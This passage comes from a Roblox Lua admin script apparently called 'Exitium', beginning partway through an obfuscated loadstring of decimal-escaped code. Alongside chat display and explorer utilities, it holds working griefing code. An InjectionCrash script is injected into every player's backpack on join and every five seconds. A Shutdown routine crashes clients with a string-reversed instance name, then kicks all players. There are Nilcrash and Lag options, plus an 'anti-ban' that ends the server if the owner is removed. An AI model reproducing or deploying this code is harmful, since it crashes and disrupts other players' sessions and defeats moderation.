116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  708. script:ClearAllChildren()
  709. else
  710. script:ClearAllChildren()
  711. script.Parent=nil
  712. end
  713. wait(1)
  714. LocalPlayer = game:service'Players'.LocalPlayer
  715. ProbeMode = false
  716. char = nil
  717. probe = nil
  718. local x = Instance.new("Message",workspace)
  719. x.Text = 'You are connected to solar admin gen 2'
  720. game:service'Debris':AddItem(x,3)
  721. if LocalPlayer.Character then
  722. LocalPlayer.Character.Archivable = true
  723. char = LocalPlayer.Character:Clone()
  724. char.Torso.Anchored = true
  725. else
  726. local con = LocalPlayer.CharacterAdded:connect(function()
  727. wait(0.5)
  728. LocalPlayer.Character.Archivable = true
  729. char = LocalPlayer.Character:Clone()
  730. char.Torso.Anchored = true
  731. end)
  732. end
  733. xcon = LocalPlayer.Changed:connect(function(asd)
  734. if asd == 'Parent' then
  735. local a = Instance.new("Hint",workspace)
  736. a.Text = 'You are connected, say char/ to go as a nil character, or probe/ for probe or rejme/ to rejoin'
  737. game:service'Debris':AddItem(a,3)
  738. end
  739. end)
  740. asdcon = LocalPlayer.Chatted:connect(function(msg)
  741. pcall(function()
  742. if LocalPlayer.Parent ~= game:service'Players' then
  743. if msg == 'char/' then
  744. ProbeMode = false
  745. elseif msg == 'probe/' then
  746. ProbeMode = true
  747. elseif msg == 'Friend' then
  748. game:service'StarterGui':SetCoreGuiEnabled("All",true)
  749. elseif msg == 'rejme/' then
  750. coroutine.wrap(function()
  751. if ProbeMode == true then
  752. probe:remove()
  753. else
  754. LocalPlayer.Character:remove()
  755. char = nil
  756. end
  757. zcon:disconnect()
  758. asdcon:disconnect()
  759. xcon:disconnect()
  760. end)()
  761. game:service'TeleportService':Teleport(game.PlaceId)
  762. elseif msg == 'fixcam/' then
  763. game:service'Workspace'.CurrentCamera.CameraType = 'Custom'
  764. pcall(function()
  765. game:service'Workspace'.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  766. end)
  767. game:service'Workspace'.CurrentCamera:ClearAllChildren()
  768. end
  769. end
  770. end)
  771. end)
  772. zcon = game:service'RunService'.RenderStepped:connect(function()
  773. if LocalPlayer.Parent ~= game:service'Players' then
  774. if ProbeMode == false then
  775. if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  776. if probe ~= nil then probe:remove() probe = nil end
  777. local chr = char:Clone()
  778. chr.Parent = workspace
  779. LocalPlayer.Character = chr
  780. wait(0.1)
  781. game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
  782. end
  783. else
  784. if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'LolMesh' == nil then
  785. if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
  786. local a = Instance.new("Part",workspace)
  787. a.Name = LocalPlayer.Name
  788. a.FormFactor = 'Custom'
  789. a.CanCollide = false
  790. a.Locked = true
  791. a.Anchored = true
  792. a.TopSurface = 0
  793. a.BottomSurface = 0
  794. a.Size = Vector3.new(2,2,2)
  795. local b = Instance.new('SpecialMesh',a)
  796. b.Name = 'LolMesh'
  797. b.MeshType = 'Sphere'
  798. probe = a
  799. else
  800. local asd = probe:findFirstChild'LolMesh'
  801. asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
  802. probe.CFrame = workspace.CurrentCamera.Focus
  803. end
  804. end
  805. end
  806. end)
  807. Jumping = false
  808. LocalPlayer:GetMouse().KeyDown:connect(function(k)
  809. if k == 'a' then
  810. a = true
  811. end
  812. if k == 'w' then
  813. w = true
  814. end
  815. if k == 's' then
  816. s = true
  817. end
  818. if k == 'd' then
  819. d = true
  820. end
  821. if k == ' ' then
  822. space = true
  823. end
  824. end)
  825. LocalPlayer:GetMouse().KeyUp:connect(function(k)
  826. if k == 'a' then
  827. a = false
  828. end
  829. if k == 'w' then
  830. w = false
  831. end
  832. if k == 's' then
  833. s = false
  834. end
  835. if k == 'd' then
  836. d = false
  837. end
  838. if k == ' ' then
  839. space = false
  840. end
  841. end)
  842. game:service'RunService'.RenderStepped:connect(function()
  843. if LocalPlayer.Parent ~= game:service'Players' then
  844. if ProbeMode == false then
  845. if w == true then
  846. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
  847. end
  848. if s == true then
  849. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
  850. end
  851. if d == true then
  852. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
  853. end
  854. if a == true then
  855. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
  856. end
  857. if space == true then
  858. if Jumping == true then return end
  859. Jumping = true
  860. asd = LocalPlayer.Character.Torso.Position.y
  861. for i = 0,3,0.5 do
  862. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
  863. wait()
  864. end
  865. for i = 0,-3,-0.5 do
  866. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
  867. wait()
  868. end
  869. Jumping = false
  870. end
  871. end
  872. end
  873. end)
  874. ]]
  875. PixelChatSource = [[
  876. wait(0.001)
  877. script:ClearAllChildren();
  878. script.Parent=nil;
  879. wait(1)
  880. LocalPlayer = game:service'Players'.LocalPlayer
  881. Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
  882. DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
  883. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  884. DeModel.Name = ":D"
  885. FR = Instance.new("Frame",DeModel)
  886. FR.Size=UDim2.new(1,0,1,0)
  887. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  888. FR.BorderSizePixel=0
  889. FR.ZIndex=2
  890. CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
  891. game:service'RunService'.RenderStepped:connect(function()
  892. pcall(function()
  893. local a = workspace:findFirstChild(LocalPlayer.Name)
  894. if a.ClassName == 'Part' then
  895. CurrParent = a
  896. else
  897. CurrParent = a:findFirstChild'Head'
  898. end
  899. end)
  900. if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
  901. pcall(function()
  902. if CurrParent.ClassName == 'Part' then
  903. DeModel = Instance.new("BillboardGui", CurrParent)
  904. DeModel.Adornee = CurrParent
  905. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  906. DeModel.Name = ":D"
  907. FR = Instance.new("Frame",DeModel)
  908. FR.Size=UDim2.new(1,0,1,0)
  909. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  910. FR.BorderSizePixel=0
  911. FR.ZIndex=2
  912. end
  913. end)
  914. end
  915. end)
  916. function CreateLetter(what, pos, posy, cl)
  917. pcall(function()
  918. if cl == nil then cl = "Really black" end
  919. if Letters[what:byte()-31] then
  920. what = Letters[what:byte()-31]
  921. else
  922. what = Letters[1]
  923. end
  924. if type(what) ~= "string" then return end
  925. what = what:gsub('\n','')
  926. what = what:gsub('\t','')
  927. what = what:gsub(' ','')
  928. pos = pos * 2
  929. posy = posy * 2
  930. c = 0
  931. for y=1,7 do
  932. for x=1,5 do
  933. c = c + 1
  934. if what:sub(c, c) == "1" then
  935. local a = Instance.new("Frame", FR)
  936. a.Name = "L"
  937. a.ZIndex=3
  938. a.Size = UDim2.new(0,2,0,2)
  939. a.BorderSizePixel = 0
  940. a.BackgroundTransparency = 1
  941. a.BackgroundColor3 = BrickColor.new(cl).Color
  942. a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
  943. coroutine.wrap(function()
  944. wait(math.random(1, 10)/50)
  945. a.BackgroundTransparency = 0
  946. end)()
  947. end
  948. end
  949. end
  950. end)
  951. end
  952. LocalPlayer.Chatted:connect(function(m)
  953. pcall(function()
  954. local cl = "Really black"
  955. for _,v in pairs(DeModel.Frame:children()) do
  956. v:Destroy()
  957. end
  958. if m:sub(1,2) == '/e' then return end
  959. if m:sub(1,3) == "/! " then
  960. m = m:sub(4)
  961. DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
  962. cl = "Really red"
  963. else
  964. DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
  965. end
  966. m1 = m:gsub("\n"," ")
  967. m1 = m1:gsub("\t"," ")
  968. m1 = m1:gsub("math.pi",tostring(math.pi))
  969. if #m1 <= 30 then
  970. DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
  971. elseif #m1 <= 60 then
  972. DeModel.Size = UDim2.new(0,330,0,40)
  973. elseif #m1 <= 90 then
  974. DeModel.Size = UDim2.new(0,330,0,60)
  975. elseif #m1 > 90 then
  976. DeModel.Size = UDim2.new(0,340,0,60)
  977. m1 = m1:sub(1,90).."..."
  978. end
  979. coroutine.wrap(function()
  980. for i = 1,0,-1/#m1 do
  981. DeModel.Frame.Transparency = i
  982. wait(1/60)
  983. end
  984. end)()
  985. if #m1 < 30 then
  986. for i = 1,#m1 do
  987. CreateLetter(m1:sub(i,i),i*5,0,cl)
  988. wait(1/60)
  989. end
  990. elseif #m1 <= 60 then
  991. for i = 1,30 do
  992. CreateLetter(m1:sub(i,i),i*5,0,cl)
  993. wait(1/60)
  994. end
  995. for i = 31,#m1 do
  996. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  997. wait(1/60)
  998. end
  999. elseif #m1 >= 60 then
  1000. for i = 1,30 do
  1001. CreateLetter(m1:sub(i,i),i*5,0,cl)
  1002. wait(1/60)
  1003. end
  1004. for i = 31,60 do
  1005. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  1006. wait(1/60)
  1007. end
  1008. for i = 61,#m1 do
  1009. CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
  1010. wait(1/60)
  1011. end
  1012. end
  1013. end)
  1014. end)
  1015. ]]
  1016. -- getPlayer --
  1017. getPlayer = function(Speaker, Msg)
  1018. Msg = Msg:lower()
  1019. local Table = {}
  1020. local Players = Exitium.Services.Players:GetPlayers()
  1021. if Msg == "me" then
  1022. table.insert(Table, Speaker)
  1023. elseif Msg == "all" or Msg == "" then
  1024. for _,v in pairs(Players) do
  1025. table.insert(Table, v)
  1026. end
  1027. elseif Msg == "others" then
  1028. for _,v in pairs(Players) do
  1029. if v.Name ~= Speaker.Name then
  1030. table.insert(Table, v)
  1031. end
  1032. end
  1033. elseif Msg == "nonveterans" or Msg == "nonvets" then
  1034. for _,v in pairs(Players) do
  1035. if v.AccountAge < 364 then
  1036. table.insert(Table, v)
  1037. end
  1038. end
  1039. elseif Msg == "veterans" or Msg == "vets" then
  1040. for _,v in pairs(Players) do
  1041. if v.AccountAge > 364 then
  1042. table.insert(Table, v)
  1043. end
  1044. end
  1045. elseif Msg == "random" then
  1046. local p = Players[math.random(1,#Players)]
  1047. table.insert(Table, p)
  1048. elseif Msg == 'friends' then
  1049. for i,v in pairs(Players) do
  1050. if Speaker:IsFriendsWith(v.userId) then
  1051. table.insert(Table, v)
  1052. end
  1053. end
  1054. elseif Msg == 'nonfriends' then
  1055. for i,v in pairs(Players) do
  1056. if not Speaker:IsFriendsWith(v.userId) then
  1057. table.insert(Table, v)
  1058. end
  1059. end
  1060. elseif Msg == 'youngest' then
  1061. at = {}
  1062. for i,v in pairs(Players) do
  1063. table.insert(at,v.AccountAge)
  1064. end
  1065. low = math.min(unpack(at))
  1066. for i,v in pairs(Players) do
  1067. if v.AccountAge == low then
  1068. table.insert(Table, v)
  1069. end
  1070. end
  1071. elseif Msg == 'oldest' then
  1072. ot = {}
  1073. for i,v in pairs(Players) do
  1074. table.insert(ot,v.AccountAge)
  1075. end
  1076. high = math.max(unpack(ot))
  1077. for i,v in pairs(Players) do
  1078. if v.AccountAge == high then
  1079. table.insert(Table, v)
  1080. end
  1081. end
  1082. else
  1083. for i,v in pairs(Players) do
  1084. if v.Name:lower():sub(1,#Msg) == Msg:lower() then
  1085. table.insert(Table, v)
  1086. end
  1087. end
  1088. end
  1089. for _,v in pairs(Table) do
  1090. if CheckRank(v, Speaker) then
  1091. table.remove(Table, _)
  1092. Output(Speaker, "Exitium Error(84272)", "Really red", nil, 3)
  1093. end
  1094. end
  1095. return Table
  1096. end
  1097.  
  1098. -- ShowCommands --
  1099. ShowCommands = function(Speaker)
  1100. Dismiss(Speaker)
  1101. local OpenCmds = function(Rank, Speaker)
  1102. Dismiss(Speaker)
  1103. for Name,Tab in pairs(Exitium.Commands) do
  1104. if Tab.Rank <= Rank then
  1105. Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
  1106. Dismiss(Speaker)
  1107. Output(Speaker, "Name: "..Name)
  1108. Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  1109. Output(Speaker, "Rank: "..Tab.Rank)
  1110. Output(Speaker, "Description: "..Tab.Description)
  1111. Output(Speaker, "Flags: "..Tab.Flags)
  1112. Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
  1113. Output(Speaker, "Dismiss")
  1114. end)
  1115. elseif Rank == 1337 and Tab.Rank <= FindRank(Speaker) then
  1116. Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
  1117. Dismiss(Speaker)
  1118. Output(Speaker, "Name: "..Name)
  1119. Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
  1120. Output(Speaker, "Rank: "..Tab.Rank)
  1121. Output(Speaker, "Description: "..Tab.Description)
  1122. Output(Speaker, "Flags: "..Tab.Flags)
  1123. Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
  1124. Output(Speaker, "Dismiss")
  1125. end)
  1126. end
  1127. end
  1128. -- wait()
  1129. Output(Speaker, "Dismiss", nil)
  1130. Output(Speaker, "Back", "Really black", function() ShowCommands(Speaker) end)
  1131. end
  1132. local Rank = Exitium.Ranked[Speaker.Name].Rank
  1133. for _,v in pairs(Exitium.Ranks) do
  1134. if Rank >= _ then
  1135. Output(Speaker, "Rank "..tostring(_)..""..v.."", nil, function() OpenCmds(_, Speaker) end)
  1136. end
  1137. end
  1138. Output(Speaker, "All", nil, function() OpenCmds(1337, Speaker) end)
  1139. Output(Speaker, "Dismiss")
  1140. end
  1141.  
  1142. -- ShowPlayers! --
  1143. ShowPlayers = function(Speaker)
  1144. Dismiss(Speaker)
  1145. for _,v in pairs(getALLPlayers()) do
  1146. if v.Parent == Exitium.Services.Players then
  1147. Output(Speaker, v.Name, nil, function()
  1148. Dismiss(Speaker)
  1149. Output(Speaker, "Name: "..v.Name, "Royal purple")
  1150. Output(Speaker, "Id: "..v.userId, "White")
  1151. Output(Speaker, "Age: "..v.AccountAge, "Teal")
  1152. Output(Speaker, "Go to Command Inferance", "Really blue", function()
  1153. GetRankedInterface(Speaker, v.Name)
  1154. end)
  1155. Output(Speaker, "Back", "Teal", function() ShowPlayers(Speaker) end)
  1156. Output(Speaker, "Dismiss")
  1157. end)
  1158. else
  1159. Output(Speaker, "nil-"..v.Name, nil, function()
  1160. Dismiss(Speaker)
  1161. Output(Speaker, "Profile Name: "..v.Name, "Teal")
  1162. Output(Speaker, "Profile Age: "..v.AccountAge, "Royal purple")
  1163. if CheckRank(Speaker, v) then
  1164. Output(Speaker, "Nilcrash", "Really blue", function()
  1165. Dismiss(Speaker)
  1166. local x = Instance.new("StringValue", Exitium.Services.Lighting)
  1167. x.Name = "Disconnect: "..v.Name
  1168. coroutine.resume(coroutine.create(function()
  1169. wait(0.5)
  1170. if x.Name == "Disconnected: "..v.Name then
  1171. Output(Speaker, "Crashed "..v.Name, "Cyan", nil, 3)
  1172. else
  1173. Output(Speaker, "Failed to crash "..v.Name, "Really red", nil, 3)
  1174. end
  1175. end))
  1176. end)
  1177. end
  1178. Output(Speaker, "To Ranked Settings", "Really blue", function()
  1179. GetRankedInterface(Speaker, v.Name)
  1180. end)
  1181. Output(Speaker, "Back", "Really blue", function() ShowPlayers(Speaker) end)
  1182. Output(Speaker, "Dismiss")
  1183. end)--, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1184. end
  1185. end
  1186. Output(Speaker, "Dismiss")
  1187. end
  1188.  
  1189. -- Explorer! --
  1190. Explorer = function(Speaker, Obj)
  1191. if Obj == nil then return Explorer(Speaker, Exitium.Services.Game) end
  1192. Dismiss(Speaker)
  1193. if Obj == Exitium.Services.Game then
  1194. for i,v in pairs(Exitium.Services.Game:GetChildren()) do
  1195. ypcall(function()
  1196. Output(Speaker, v.className, nil, function()
  1197. Explorer(Speaker, v)
  1198. end)
  1199. end)
  1200. end
  1201. Output(Speaker, "Dismiss")
  1202. else
  1203. local ObjParent = Obj.Parent
  1204. Output(Speaker, "Name: "..Obj.Name, "Random")
  1205. Output(Speaker, "ClassName: "..Obj.className, "Random")
  1206. Output(Speaker, "FullName: Game."..Obj:GetFullName(), "Random")
  1207. Output(Speaker, "Destroy", "Random", function()
  1208. if Obj:IsA("Player") then
  1209. if FindRank(Speaker) >= FindRank(Obj) and FindRank(Speaker) >= 2 then
  1210. Obj:Kick()
  1211. Explorer(Speaker, ObjParent)
  1212. else
  1213. Output(Speaker, "You cannot kick "..Obj.Name.."!", "Really red", nil, 2)
  1214. end
  1215. else
  1216. Obj:remove()
  1217. Explorer(Speaker, ObjParent)
  1218. end
  1219. end)
  1220. Output(Speaker, "Refresh", "Random", function() Explorer(Speaker, Obj) end)
  1221. if #Obj:GetChildren() > 0 then
  1222. Output(Speaker, "View Children", "Teal", function()
  1223. for i,v in pairs(Obj:GetChildren()) do
  1224. if not v.Name:lower():find('Exitium tablet') then
  1225. Output(Speaker, v.Name, nil, function()
  1226. Explorer(Speaker, v)
  1227. end)
  1228. end
  1229. end
  1230. end)
  1231. end
  1232. Output(Speaker, "View Parent", "Random", function() Explorer(Speaker, ObjParent) end)
  1233. Output(Speaker, "Dismiss")
  1234. end
  1235. end
  1236. -- Cleaning And Stuff :) --
  1237. CreateBase = function()
  1238. for _,v in pairs(Exitium.Services.Workspace:GetChildren()) do
  1239. if v.Name:lower():find('base') and v:IsA('BasePart') then
  1240. v:remove()
  1241. end
  1242. end
  1243. local Base = Instance.new("Part")
  1244. Base.BrickColor = BrickColor.new("Dark green")
  1245. Base.CFrame = CFrame.new(0, 0.6, 0)
  1246. Base.Transparency = 0
  1247. Base.Elasticity = 0.5
  1248. Base.FormFactor = "Custom"
  1249. Base.Material = 'Grass'
  1250. Base.CanCollide = true
  1251. Base.Friction = 0.30000001192093
  1252. Base.Size = Vector3.new(2044, 0, 2044)
  1253. Base.Archivable = true
  1254. Base.Material = "Grass"
  1255. Base.RotVelocity = Vector3.new(0, 0, 0)
  1256. Base.Reflectance = 0
  1257. Base.Locked = true
  1258. Base.Anchored = true
  1259. Base.Name = "Base"
  1260. Base.TopSurface = "Smooth"
  1261. Base.BottomSurface = "Inlet"
  1262. Base.Shape = "Block"
  1263. Base.Parent = Exitium.Services.Workspace
  1264. end
  1265. CleanWorkspace = function()
  1266. for i,s in pairs(Exitium.Services.Workspace:GetChildren()) do
  1267. if Exitium.Services.Players:GetPlayerFromCharacter(s) == nil then
  1268. if s.className ~= "Terrain" then
  1269. if s.className ~= "Camera" then
  1270. pcall(function() s:Destroy() end)
  1271. end
  1272. end
  1273. end
  1274. end
  1275. CreateBase()
  1276. for _,v in pairs(Exitium.Services.Workspace:GetChildren()) do
  1277. if v:IsA("Terrain") then
  1278. v:Clear()
  1279. end
  1280. end
  1281. end
  1282. FullClean = function()
  1283. local Child = {}
  1284. local GetAllChildren = function(c)
  1285. for _,v in pairs(c:GetChildren()) do
  1286. ypcall(function()
  1287. GetAllChildren(v)
  1288. table.insert(Child, v)
  1289. end)
  1290. end
  1291. end
  1292. for _,v in pairs(Exitium.Services.Game:GetChildren()) do
  1293. ypcall(function()
  1294. GetAllChildren(v)
  1295. end)
  1296. end
  1297. for _,v in pairs(Child) do
  1298. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1299. v:remove()
  1300. end
  1301. end
  1302. CleanWorkspace()
  1303. Debug()
  1304. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1305. v:LoadCharacter()
  1306. end
  1307. end
  1308. Debug = function()
  1309. ypcall(function()
  1310. for _,v in pairs(Exitium.Services.Workspace:GetChildren()) do
  1311. if v:IsA('Message') or v:IsA('Hint') then
  1312. ypcall(function()
  1313. v.Text = ''
  1314. v:Destroy()
  1315. end)
  1316. end
  1317. if v:IsA('Terrain') then
  1318. v:Clear()
  1319. end
  1320. end
  1321. Exitium.Services.Lighting.GlobalShadows = true
  1322. Exitium.Services.Lighting.TimeOfDay = '14:00:00'
  1323. Exitium.Services.Lighting.Brightness = 0.3
  1324. Exitium.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
  1325. Exitium.Services.Lighting.Ambient = Color3.new(1,1,1)
  1326. Exitium.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  1327. Exitium.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
  1328. Exitium.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
  1329. Exitium.Services.Lighting.FogStart = 0
  1330. Exitium.Services.Lighting.FogEnd = 100000
  1331. Exitium.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  1332. Exitium.Services.Lighting:ClearAllChildren()
  1333. Exitium.Services.Teams:ClearAllChildren()
  1334. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1335. v.Neutral = true
  1336. end
  1337. end)
  1338. end
  1339.  
  1340. -- Shutdown Function --
  1341. Shutdown = function()
  1342. local SDKick = function(v)
  1343. createLocalScript([[Instance.new(string.reverse("ecnatsnItnioJecafruSlaunaM"), game:service('Workspace'))]], v:waitForChild("Backpack"))
  1344. if v then
  1345. v:Kick()
  1346. end
  1347. end
  1348. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1349. SDKick(v)
  1350. end
  1351. Exitium.Services.Players.PlayerAdded:connect(function(v)
  1352. wait()
  1353. SDKick(v)
  1354. end)
  1355. end
  1356.  
  1357. -- onJoin and onLeave! --
  1358. onJoin = function(Player)
  1359. local a,b = ypcall(function()
  1360. wait()
  1361. local PlayerName = Player.Name
  1362. createLocalScript(InjectionCrash, Player:waitForChild("Backpack"))
  1363. if Exitium.Removed == true then return end
  1364. if FindRank(Player) == -1 then
  1365. Player:Kick()
  1366. elseif FindRank(Player) == -2 then
  1367. Lag(Player)
  1368. else
  1369. ypcall(function()
  1370. Exitium.Connections.Chat[Player.Name] = Player.Chatted:connect(function(Message) onChatted(Player, Message) end)
  1371. end)
  1372. if FindRank(Player) >= 2 then
  1373. Dismiss(Speaker)
  1374. Output(Player, "Exitium Loaded", "Cyan")
  1375. Output(Player, "Your Rank is "..FindRank(Player), "Royal purple")
  1376. end
  1377. if FindRank(Player) <= 0 then
  1378. if Exitium.AgeRestriction == true then
  1379. if Player.AccountAge < 20 then
  1380. Player:Kick()
  1381. end
  1382. end
  1383. end
  1384. if not Exitium.Ranked[Player.Name] then
  1385. Exitium.Ranked[Player.Name] = {Rank = 0, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "N/A", spinningrot = false, Rotation = true}
  1386. end
  1387. Player.DescendantAdded:connect(function(Object)
  1388. if Exitium.LocalSidedScriptsLock == true then
  1389. if Object.Name == "Animate" then return end
  1390. if Object:IsA("Script") then
  1391. local ObjectName = Object.Name
  1392. Object.Disabled = true
  1393. Object:remove()
  1394. end
  1395. end
  1396. end)
  1397. if Exitium.PrivateServer.Enabled == true then
  1398. if FindRank(Player) < 0.1 then
  1399. Exitium.PrivateServer.Waiting[PlayerName] = true
  1400. Player:Kick()
  1401. end
  1402. end
  1403. end
  1404. end)
  1405. if not a then
  1406. Output("All", b, "Really red")
  1407. end
  1408. end
  1409. onLeave = function(Player)
  1410. ypcall(function()
  1411. wait()
  1412. Dismiss(Player)
  1413. local PlayerName = Player.Name
  1414. if Exitium.Removed == true then return end
  1415. if FindRank(Player) >= 1 then
  1416. for i = 1, Exitium.ShutdownTime do
  1417. local join = false
  1418. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1419. if v.Name == Player.Name then
  1420. join = true
  1421. end
  1422. end
  1423. if join == false then
  1424. if Exitium.Aborted == true then
  1425. Exitium.Aborted = false
  1426. local ABM = Instance.new("Message", Exitium.Services.Workspace)
  1427. ABM.Text = "Aborted!"
  1428. Exitium.Services.Debris:AddItem(ABM, 1)
  1429. return
  1430. else
  1431. local ABH = Instance.new("Hint", Exitium.Services.Workspace)
  1432. ABH.Text = "EXITIUM Anti-Ban Toggled"
  1433. local ABM = Instance.new("Message", Exitium.Services.Workspace)
  1434. ABM.Text = "[EXITIUM Anti-Ban] if "..Player.Name.." does not return in "..Exitium.ShutdownTime-i.." seconds, the server will end!"
  1435. wait(1)
  1436. if ABM ~= nil then
  1437. ABM:remove()
  1438. end
  1439. if ABH ~= nil then
  1440. ABH:remove()
  1441. end
  1442. end
  1443. else
  1444. local ABM = Instance.new("Message", Exitium.Services.Workspace)
  1445. ABM.Text = Player.Name.." is back, Shutdown Aborted"
  1446. Exitium.Services.Debris:AddItem(ABM, 1)
  1447. return
  1448. end
  1449. end
  1450. Shutdown()
  1451. end
  1452. ypcall(function()
  1453. Exitium.Connections.Chat[PlayerName]:disconnect()
  1454. Exitium.Connections.Chat[PlayerName] = nil
  1455. end)
  1456. if FindRank(PlayerName) >= 0 and Exitium.PrivateServer.Enabled == false and Player.AccountAge > 30 then
  1457. end
  1458. end)
  1459. end
  1460.  
  1461. Exitium.Services.Players.PlayerAdded:connect(function(Player) local PlayerName = Player.Name onJoin(Player) if FindRank(PlayerName) >= 0 and Exitium.PrivateServer.Enabled == false and Player.AccountAge > 30 then end end)
  1462. Exitium.Services.Players.PlayerRemoving:connect(function(Player) onLeave(Player) end)
  1463.  
  1464. coroutine.resume(coroutine.create(function()
  1465. ypcall(function()
  1466. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1467. onJoin(v)
  1468. end
  1469. end)
  1470. end))
  1471.  
  1472. coroutine.resume(coroutine.create(function()
  1473. repeat
  1474. ypcall(function()
  1475. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  1476. createLocalScript(InjectionCrash, v:waitForChild("Backpack"))
  1477. end
  1478. end)
  1479. wait(5)
  1480. until Exitium.Removed == true
  1481. end))
  1482.  
